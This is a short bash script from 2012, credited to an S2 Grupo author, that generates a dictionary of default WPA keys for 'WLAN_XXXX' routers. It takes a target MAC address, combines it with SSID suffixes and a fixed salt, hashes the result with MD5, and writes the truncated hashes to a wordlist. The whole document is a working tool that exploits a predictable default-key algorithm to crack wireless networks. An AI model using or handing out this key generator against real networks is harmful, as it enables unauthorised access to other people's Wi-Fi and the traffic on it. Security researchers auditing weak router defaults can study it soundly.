#!/bin/bash

##################################
#                                #
#  David Lladro - S2 Grupo       #
#        Enero 2012              #
#  Mail: david.lladro@gmail.com  #
#  Twitter: @davidlladro         #
#                                #
##################################

MAC="XX:XX:XX:XX:XX:XX"

for i in A B C D E F;
do
	for j in A B C D E F;
	do
		for k in A B C D E F;
		do
			for l in A B C D E F;
			do
			WLAN="WLAN_$i$j$k$l"
			HEAD=$(echo -n "$WLAN" | tr 'a-z' 'A-Z' | cut -d_ -f2)
			BSSID=$(echo -n "$MAC" | tr 'a-z' 'A-Z' | tr -d : )
			BSSIDP=$(echo -n "$BSSID" | cut -c-8)
			KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
			echo $KEY >> dict.txt
			done
		done
	done
done


